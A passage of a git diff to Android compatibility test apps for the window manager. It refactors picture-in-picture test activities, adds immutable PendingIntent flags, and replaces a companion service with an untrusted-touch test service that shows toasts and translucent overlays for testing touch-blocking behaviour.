+ BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (ACTION.equals(intent.getAction())) {
+ boolean booleanExtra = intent.getBooleanExtra(SHOULD_HIDE, false);
+ getWindow().setHideOverlayWindows(booleanExtra);
+ sendBroadcast(new Intent(PONG));
+ }
+ }
+ };
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
index f2721bb..8c1c0fa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
@@ -16,9 +16,7 @@
package android.server.wm.app;
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
+public class LaunchIntoPinnedStackPipActivity extends PipActivity {
@Override
protected void onResume() {
super.onResume();
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index fd44271..9b955ae 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -16,11 +16,9 @@
package android.server.wm.app;
-import android.app.Activity;
-import android.content.pm.PackageManager;
import android.content.res.Configuration;
-public class LaunchPipOnPipActivity extends Activity {
+public class LaunchPipOnPipActivity extends PipActivity {
@Override
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 79aeae9..5778ac2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -41,6 +41,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
@@ -172,10 +173,18 @@
}
}
+ final PictureInPictureParams.Builder sharedBuilder = new PictureInPictureParams.Builder();
+ boolean sharedBuilderChanged = false;
+
if (getIntent().hasExtra(EXTRA_ALLOW_AUTO_PIP)) {
- final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
- builder.setAutoEnterEnabled(true);
- setPictureInPictureParams(builder.build());
+ sharedBuilder.setAutoEnterEnabled(true);
+ sharedBuilderChanged = true;
+ }
+
+ if (getIntent().hasExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED)) {
+ sharedBuilder.setSeamlessResizeEnabled(
+ getIntent().getBooleanExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, true));
+ sharedBuilderChanged = true;
}
// Enable tap to finish if necessary
@@ -198,13 +207,16 @@
if (getIntent().hasExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS)) {
final int numberOfCustomActions = Integer.valueOf(
getIntent().getStringExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS));
- final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
final List<RemoteAction> actions = new ArrayList<>(numberOfCustomActions);
for (int i = 0; i< numberOfCustomActions; i++) {
actions.add(createRemoteAction(i));
}
- builder.setActions(actions);
- setPictureInPictureParams(builder.build());
+ sharedBuilder.setActions(actions);
+ sharedBuilderChanged = true;
+ }
+
+ if (sharedBuilderChanged) {
+ setPictureInPictureParams(sharedBuilder.build());
}
// Register the broadcast receiver
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index 66da0e6..47ec0fe 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -18,7 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.server.wm.app27">
- <application android:label="App27">
+ <application android:label="App27"
+ android:debuggable="true">
<activity android:name="android.server.wm.app.LaunchingActivity"
android:resizeableActivity="true"
android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
index 0446e1c..54c3d27 100644
--- a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.server.wm.shareuid.a"
android:sharedUserId="android.server.wm.shareuid">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".TestActivityWithSameAffinity"
android:exported="true"
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
index 8586006..e7e6dec 100644
--- a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.server.wm.shareuid.b"
android:sharedUserId="android.server.wm.shareuid">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".TestActivityWithSameAffinityShareUid"
android:exported="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index 27d613f..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.server.wm.second">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".EmbeddingActivity"
android:resizeableActivity="true"
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 113a65d..9879e12 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -27,6 +27,7 @@
static_libs: [
"androidx.annotation_annotation",
+ "cts-wm-shared",
],
sdk_version: "test_current",
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
index d55515e..b5b1b88 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
@@ -21,7 +21,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="install-arg" value="-t" />
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 7ec1cc9..c05b48f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -55,14 +55,14 @@
newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
pendingIntent = PendingIntent.getBroadcast(context, 0,
- newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
} else {
// Create a pendingIntent to launch appA's BackgroundActivity
Intent newIntent = new Intent();
newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
pendingIntent = PendingIntent.getActivity(context, 0,
- newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
}
// Send the pendingIntent to appB
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
new file mode 100644
index 0000000..99b3c18
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
@@ -0,0 +1,49 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_MULTIPLE_TASK",
+ "class": "android.server.wm.intent.Activities$SingleTopActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ]
+ },
+ "endState": {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+
+ }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 89ac53e..eb899a2 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application>
<service
- android:name="android.server.wm.overlay.TestCompanionService"
+ android:name="android.server.wm.overlay.UntrustedTouchTestService"
android:exported="true" />
<activity
android:name="android.server.wm.overlay.OverlayActivity"
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
new file mode 100644
index 0000000..cb60741
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<alpha
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromAlpha="0.7"
+ android:toAlpha="0.7"
+ android:duration="@integer/long_animation_duration"
+ />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
new file mode 100644
index 0000000..062c213
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<alpha
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromAlpha="1"
+ android:toAlpha="1"
+ android:duration="@integer/long_animation_duration"
+ />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
index ec6bb6c..69d88b3 100644
--- a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
@@ -16,4 +16,5 @@
-->
<resources>
<integer name="animation_duration">2000</integer>
+ <integer name="long_animation_duration">6000</integer>
</resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
index d8ff81d..3a0c523 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -21,12 +21,8 @@
public class Components extends ComponentsBase {
- public interface TestCompanionService {
- ComponentName COMPONENT = component("TestCompanionService");
- int ACTION_SHOW_SYSTEM_ALERT_WINDOW = 0;
- int ACTION_SHOW_TOAST = 1;
- String EXTRA_NAME = "name";
- String EXTRA_OPACITY = "opacity";
+ public interface UntrustedTouchTestService {
+ ComponentName COMPONENT = component("UntrustedTouchTestService");
}
public interface OverlayActivity {
@@ -45,11 +41,11 @@
int EXTRA_VALUE_ANIMATION_EMPTY = 0;
int EXTRA_VALUE_ANIMATION_0_7 = 1;
int EXTRA_VALUE_ANIMATION_0_9 = 2;
+ int EXTRA_VALUE_LONG_ANIMATION_0_7 = 3;
}
public interface ToastActivity {
ComponentName COMPONENT = component("ToastActivity");
- String EXTRA_CUSTOM = "custom";
}
private static ComponentName component(String className) {
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
index 32fe008..c6db7ac 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
@@ -16,7 +16,7 @@
package android.server.wm.overlay;
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
import android.app.Activity;
import android.content.BroadcastReceiver;
@@ -24,7 +24,6 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
-import android.util.Log;
import android.view.View;
import androidx.annotation.AnimRes;
@@ -61,7 +60,8 @@
Components.ActivityReceiver.EXTRA_ANIMATION,
Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY);
finish();
- overridePendingTransition(R.anim.alpha_1, getAnimationRes(exitAnimation));
+ overridePendingTransition(getEnterAnimationRes(exitAnimation),
+ getAnimationRes(exitAnimation));
break;
default:
throw new AssertionError("Unknown action" + intent.getAction());
@@ -69,6 +69,21 @@
}
};
+ /** An enter animation for a certain exit animation, mostly so durations match. */
+ @AnimRes
+ private static int getEnterAnimationRes(int exitAnimation) {
+ switch (exitAnimation) {
+ case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+ case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+ case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+ return R.anim.alpha_1;
+ case Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+ return R.anim.long_alpha_1;
+ default:
+ throw new AssertionError("Unknown animation value " + exitAnimation);
+ }
+ }
+
@AnimRes
private static int getAnimationRes(int animation) {
switch (animation) {
@@ -78,6 +93,8 @@
return R.anim.alpha_0_7;
case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
return R.anim.alpha_0_9;
+ case Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+ return R.anim.long_alpha_0_7;
default:
throw new AssertionError("Unknown animation value " + animation);
}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
index db1cf41..9a2075d 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
@@ -18,7 +18,7 @@
import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOUCHABLE;
import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_OPACITY;
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
import android.app.Activity;
import android.content.Intent;
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java
deleted file mode 100644
index bacaa56..0000000
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.overlay;
-
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_SYSTEM_ALERT_WINDOW;
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_TOAST;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_NAME;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_OPACITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-
-import android.annotation.SuppressLint;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Message;
-import android.os.Messenger;
-import android.util.ArrayMap;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
-import android.widget.Toast;
-
-import androidx.annotation.Nullable;
-
-import java.util.Map;
-
-
-public class TestCompanionService extends Service {
- public static final int BACKGROUND_COLOR = 0xFF00FF00;
-
- private final Handler mHandler = new ServiceHandler();
- private final Map<Integer, Runnable> mActions = new ArrayMap<>();
- private Messenger mMessenger;
- private Bundle mData;
- private Toast mToast;
- private View mSawView;
- private Context mSawContext;
- private WindowManager mSawWindowManager;
-
- @Override
- public void onCreate() {
- mMessenger = new Messenger(mHandler);
- mActions.put(ACTION_SHOW_SYSTEM_ALERT_WINDOW, this::onSaw);
- mActions.put(ACTION_SHOW_TOAST, this::onToast);
-
- mSawContext = getContextForSaw(this);
- mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
- }
-
- @Nullable
- @Override
- public IBinder onBind(Intent intent) {
- return mMessenger.getBinder();
- }
-
- @Override
- public void onDestroy() {
- mHandler.removeCallbacksAndMessages(null);
- if (mSawView != null) {
- mSawWindowManager.removeView(mSawView);
- }
- if (mToast != null) {
- mToast.cancel();
- }
- }
-
- protected void onSaw() {
- String name = mData.getString(EXTRA_NAME);
- float opacity = mData.getFloat(EXTRA_OPACITY);
-
- mSawView = new View(mSawContext);
- mSawView.setBackgroundColor(BACKGROUND_COLOR);
- LayoutParams params =
- new LayoutParams(
- LayoutParams.MATCH_PARENT,
- LayoutParams.MATCH_PARENT,
- LayoutParams.TYPE_APPLICATION_OVERLAY,
- LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
- PixelFormat.TRANSLUCENT);
- params.setTitle(name);
- params.alpha = opacity;
- mSawWindowManager.addView(mSawView, params);
- }
-
- protected void onToast() {
- mToast = Toast.makeText(this, "Toast from " + getPackageName(), Toast.LENGTH_LONG);
- mToast.show();
- }
-
- protected void onUnknownAction(int message) {
- throw new IllegalArgumentException("Unknown action " + message);
- }
-
- private static Context getContextForSaw(Context context) {
- DisplayManager displayManager = context.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
- Context displayContext = context.createDisplayContext(display);
- return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
- }
-
- /** Suppressing since all messages are short-lived and we clear the queue on exit. */
- @SuppressLint("HandlerLeak")
- private class ServiceHandler extends Handler {
- @Override
- public void handleMessage(Message message) {
- mData = message.getData();
- mActions.getOrDefault(message.what, () -> onUnknownAction(message.what)).run();
- }
- }
-}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
index 8db467e..5870d91 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
@@ -16,7 +16,7 @@
package android.server.wm.overlay;
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
import android.app.Activity;
import android.util.Log;
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
new file mode 100644
index 0000000..e12fca3
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.server.wm.app.IUntrustedTouchTestService;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+
+import java.util.Collections;
+import java.util.Set;
+
+
+public class UntrustedTouchTestService extends Service {
+ public static final int BACKGROUND_COLOR = 0xFF00FF00;
+
+ private final IUntrustedTouchTestService mBinder = new Binder();
+ private final Set<View> mSawViews = Collections.synchronizedSet(new ArraySet<>());
+
+ /** Can only be accessed from the main thread. */
+ private Toast mToast;
+
+ private volatile Handler mMainHandler;
+ private volatile Context mSawContext;
+ private volatile WindowManager mSawWindowManager;
+
+ @Override
+ public void onCreate() {
+ mMainHandler = new Handler(Looper.getMainLooper());
+ mSawContext = getContextForSaw(this);
+ mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+ }
+
+ @Nullable
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder.asBinder();
+ }
+
+ @Override
+ public void onDestroy() {
+ removeOverlays();
+ }
+
+ private class Binder extends IUntrustedTouchTestService.Stub {
+ private final UntrustedTouchTestService mService = UntrustedTouchTestService.this;
+
+ @Override
+ public void showToast() {
+ mMainHandler.post(() -> {
+ mToast = Toast.makeText(mService, "Toast " + getPackageName(), Toast.LENGTH_LONG);
+ mToast.show();
+ });
+ }
+
+ @Override
+ public void showSystemAlertWindow(String windowName, float opacity) {
+ View view = new View(mSawContext);
+ view.setBackgroundColor(BACKGROUND_COLOR);
+ LayoutParams params =
+ new LayoutParams(
+ LayoutParams.MATCH_PARENT,
+ LayoutParams.MATCH_PARENT,
+ LayoutParams.TYPE_APPLICATION_OVERLAY,
+ LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
+ PixelFormat.TRANSLUCENT);
+ params.setTitle(windowName);
+ params.alpha = opacity;
+ mMainHandler.post(() -> mSawWindowManager.addView(view, params));
+ mSawViews.add(view);
+ }
+
+ public void removeOverlays() {
+ mService.removeOverlays();
+ }
+ }
+
+ private void removeOverlays() {
+ synchronized (mSawViews) {
+ for (View view : mSawViews) {
+ mSawWindowManager.removeView(view);
+ }
+ mSawViews.clear();
+ }
+ mMainHandler.post(() -> {
+ if (mToast != null) {
+ mToast.cancel();
+ }
+ });
+ }
+
+ private static Context getContextForSaw(Context context) {
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+ Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+ Context displayContext = context.createDisplayContext(display);
+ return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
+ }
+}
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml b/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml
deleted file mode 100644
index c58678b..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<alpha
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:fromAlpha="0.7"
- android:toAlpha="0.7"
- android:duration="@integer/animation_duration"
- />
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml b/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml
deleted file mode 100644
index 6f58a9a..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<alpha
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:fromAlpha="0.9"
- android:toAlpha="0.9"
- android:duration="@integer/animation_duration"
- />
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_1.xml b/tests/framework/base/windowmanager/res/anim/alpha_1.xml
deleted file mode 100644
index 8b1a09e..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_1.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<alpha
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:fromAlpha="1"
- android:toAlpha="1"
- android:duration="@integer/animation_duration"
- />
diff --git a/tests/framework/base/windowmanager/res/values/values.xml b/tests/framework/base/windowmanager/res/values/values.xml
deleted file mode 100644
index ec6bb6c..0000000
--- a/tests/framework/base/windowmanager/res/values/values.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
